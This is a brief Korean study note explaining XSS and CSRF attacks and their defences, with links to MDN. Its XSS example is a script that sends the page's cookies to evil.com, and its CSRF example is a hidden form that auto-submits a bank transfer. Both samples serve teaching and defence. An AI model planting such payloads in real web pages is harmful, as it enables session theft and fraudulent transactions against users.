## XSS
XSS (Cross-Site Scripting)
- 정의 : 공격자가 웹 페이지에 악성 스크립트를 삽입해서 클라이언트 브라우저에서 실행되도록 하는 공격
- 예시
```html
<script>
fetch("https://evil.com/steal?cookie=" + document.cookie);
</script>
```
- 대응 방법
- HttpOnly 속성으로 쿠키 보호
- 사용자 입력 검증과 escape/sanitize 처리
- CSP(Content Security Policy) 적용
## CSRF
CSRF (Cross-Site Request Forgery)
- 정의 : 사용자가 의도하지 않은 요청을 특정 사이트로 보내도록 유도하는 공격
- 예시 :
```html
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="to" value="attacker" />
<input type="submit" />
</form>
<script>document.forms[0].submit();</script>
```
- 대응 방법
- SameSite 쿠기 속성 활용 (Lax, Strict)
- CSRF 토큰 사용
- Referer / Origin 헤더 검증
## 참고
- [Cross-site scripting (XSS) - Glossary \| MDN](https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting)
- [Cross-site request forgery (CSRF) - Glossary \| MDN](https://developer.mozilla.org/en-US/docs/Glossary/CSRF)